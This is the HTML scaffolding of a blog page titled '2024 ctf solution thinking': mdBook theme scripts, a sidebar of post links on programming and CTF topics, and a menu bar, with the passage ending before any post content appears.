1164 lines
95 KiB
HTML
1164 lines
95 KiB
HTML
<!DOCTYPE HTML>
|
||
<html lang="en" class="coal" dir="ltr">
|
||
<head>
|
||
<!-- Book generated using mdBook -->
|
||
<meta charset="UTF-8">
|
||
<title>2024 ctf solution thinking - Andrew's Blog</title>
|
||
|
||
|
||
<!-- Custom HTML head -->
|
||
|
||
<meta name="description" content="Andrew Ryan's Blog">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||
<meta name="theme-color" content="#ffffff">
|
||
|
||
<link rel="icon" href="../../favicon.svg">
|
||
<link rel="shortcut icon" href="../../favicon.png">
|
||
<link rel="stylesheet" href="../../css/variables.css">
|
||
<link rel="stylesheet" href="../../css/general.css">
|
||
<link rel="stylesheet" href="../../css/chrome.css">
|
||
|
||
<!-- Fonts -->
|
||
<link rel="stylesheet" href="../../FontAwesome/css/font-awesome.css">
|
||
<link rel="stylesheet" href="../../fonts/fonts.css">
|
||
|
||
<!-- Highlight.js Stylesheets -->
|
||
<link rel="stylesheet" href="../../highlight.css">
|
||
<link rel="stylesheet" href="../../tomorrow-night.css">
|
||
<link rel="stylesheet" href="../../ayu-highlight.css">
|
||
|
||
<!-- Custom theme stylesheets -->
|
||
<link rel="stylesheet" href="../../src/style/custom.css">
|
||
|
||
<!-- MathJax -->
|
||
<script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
|
||
</head>
|
||
<body class="sidebar-visible no-js">
|
||
<div id="body-container">
|
||
<!-- Provide site root to javascript -->
|
||
<script>
|
||
var path_to_root = "../../";
|
||
var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "coal" : "coal";
|
||
</script>
|
||
|
||
<!-- Work around some values being stored in localStorage wrapped in quotes -->
|
||
<script>
|
||
try {
|
||
var theme = localStorage.getItem('mdbook-theme');
|
||
var sidebar = localStorage.getItem('mdbook-sidebar');
|
||
|
||
if (theme.startsWith('"') && theme.endsWith('"')) {
|
||
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
|
||
}
|
||
|
||
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
|
||
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
|
||
}
|
||
} catch (e) { }
|
||
</script>
|
||
|
||
<!-- Set the theme before any content is loaded, prevents flash -->
|
||
<script>
|
||
var theme;
|
||
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
|
||
if (theme === null || theme === undefined) { theme = default_theme; }
|
||
var html = document.querySelector('html');
|
||
html.classList.remove('coal')
|
||
html.classList.add(theme);
|
||
var body = document.querySelector('body');
|
||
body.classList.remove('no-js')
|
||
body.classList.add('js');
|
||
</script>
|
||
|
||
<input type="checkbox" id="sidebar-toggle-anchor" class="hidden">
|
||
|
||
<!-- Hide / unhide sidebar before it is displayed -->
|
||
<script>
|
||
var body = document.querySelector('body');
|
||
var sidebar = null;
|
||
var sidebar_toggle = document.getElementById("sidebar-toggle-anchor");
|
||
if (document.body.clientWidth >= 1080) {
|
||
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
|
||
sidebar = sidebar || 'visible';
|
||
} else {
|
||
sidebar = 'hidden';
|
||
}
|
||
sidebar_toggle.checked = sidebar === 'visible';
|
||
body.classList.remove('sidebar-visible');
|
||
body.classList.add("sidebar-" + sidebar);
|
||
</script>
|
||
|
||
<nav id="sidebar" class="sidebar" aria-label="Table of contents">
|
||
<div class="sidebar-scrollbox">
|
||
<ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/linux/run_x86_elf_in_x64_setup.html"><strong aria-hidden="true">1.6.</strong> run x86 elf in x64 setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/mac/mac.html"><strong aria-hidden="true">2.</strong> mac</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/mac/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in鑱絊wift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> ios</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> objective_c</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/rust_logger_non-block.html"><strong aria-hidden="true">7.25.</strong> rust logger non-block</a></li><li class="chapter-item "><a href="../../posts/rust/rust_connect_sql_server_database.html"><strong aria-hidden="true">7.26.</strong> rust connect sql server database</a></li><li class="chapter-item "><a href="../../posts/rust/rust_websocket_implment.html"><strong aria-hidden="true">7.27.</strong> rust websocket implment</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> go</a></li><li class="chapter-item "><a href="../../posts/js/js.html"><strong aria-hidden="true">11.</strong> js</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/js/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/js/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/js/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/js/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/js/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/js/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/js/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/js/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> react</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">18.</strong> leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">18.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">18.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">18.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">18.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">18.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">18.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">18.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">18.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">19.</strong> ctf</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">19.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">19.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">19.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">19.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">19.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">19.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">19.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">19.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">19.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">19.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">19.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">19.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">19.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">19.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">19.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">19.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">19.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">19.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">19.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">19.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">19.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">19.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">19.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">19.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.26.</strong> PWN_note</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">19.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">19.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_stack_overflow.html"><strong aria-hidden="true">19.29.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">19.30.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">19.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">19.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">19.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">19.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">19.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">19.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_train_at_hangzhou.html"><strong aria-hidden="true">19.37.</strong> ctf train at hangzhou</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_common_mindmap_list.html"><strong aria-hidden="true">19.38.</strong> ctf common mindmap list</a></li><li class="chapter-item "><a href="../../posts/ctf/error_based_sql_injection.html"><strong aria-hidden="true">19.39.</strong> Error Based SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/urlfinder_tutorial.html"><strong aria-hidden="true">19.40.</strong> URLFinder Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/observer_ward_tutorial.html"><strong aria-hidden="true">19.41.</strong> observer_ward Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/mysql_udf_.html"><strong aria-hidden="true">19.42.</strong> MySQL UDF 提权</a></li><li class="chapter-item "><a href="../../posts/ctf/nuclei__tutorial.html"><strong aria-hidden="true">19.43.</strong> Nuclei Tutorial</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/2024_ctf_solution_thinking.html" class="active"><strong aria-hidden="true">19.44.</strong> 2024 ctf solution thinking</a></li><li class="chapter-item "><a href="../../posts/ctf/man_che_si_te_bian_ma.html"><strong aria-hidden="true">19.45.</strong> 曼彻斯特编码</a></li></ol></li></ol>
|
||
</div>
|
||
<div id="sidebar-resize-handle" class="sidebar-resize-handle">
|
||
<div class="sidebar-resize-indicator"></div>
|
||
</div>
|
||
</nav>
|
||
|
||
<!-- Track and set sidebar scroll position -->
|
||
<script>
|
||
var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
|
||
sidebarScrollbox.addEventListener('click', function(e) {
|
||
if (e.target.tagName === 'A') {
|
||
sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
|
||
}
|
||
}, { passive: true });
|
||
var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
|
||
sessionStorage.removeItem('sidebar-scroll');
|
||
if (sidebarScrollTop) {
|
||
// preserve sidebar scroll position when navigating via links within sidebar
|
||
sidebarScrollbox.scrollTop = sidebarScrollTop;
|
||
} else {
|
||
// scroll sidebar to current active section when navigating via "next/previous chapter" buttons
|
||
var activeSection = document.querySelector('#sidebar .active');
|
||
if (activeSection) {
|
||
activeSection.scrollIntoView({ block: 'center' });
|
||
}
|
||
}
|
||
</script>
|
||
|
||
<div id="page-wrapper" class="page-wrapper">
|
||
|
||
<div class="page">
|
||
<div id="menu-bar-hover-placeholder"></div>
|
||
<div id="menu-bar" class="menu-bar sticky">
|
||
<div class="left-buttons">
|
||
<label id="sidebar-toggle" class="icon-button" for="sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
|
||
<i class="fa fa-bars"></i>
|
||
</label>
|
||
<button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
|
||
<i class="fa fa-paint-brush"></i>
|
||
</button>
|
||
<ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
|
||
<li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
|
||
</ul>
|
||
<button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
|
||
<i class="fa fa-search"></i>
|
||
</button>
|
||
</div>
|
||
|
||
<h1 class="menu-title">Andrew's Blog</h1>
|
||
|
||
<div class="right-buttons">
|
||
<a href="https://gitlink.org.cn/dnrops/dnrops.gitlink.net.git" title="Git repository" aria-label="Git repository">
|
||
<i id="git-repository-button" class="fa fa-github"></i>
|
||
</a>
|
||
|
||
</div>
|
||
</div>
|
||
|
||
<div id="search-wrapper" class="hidden">
|
||
<form id="searchbar-outer" class="searchbar-outer">
|
||
<input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
|
||
</form>
|
||
<div id="searchresults-outer" class="searchresults-outer hidden">
|
||
<div id="searchresults-header" class="searchresults-header"></div>
|
||
<ul id="searchresults">
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
|
||
<script>
|
||
document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
|
||
document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
|
||
Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
|
||
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
|
||
});
|
||
</script>
|
||
|
||
<div id="content" class="content">
|
||
<main>
|
||
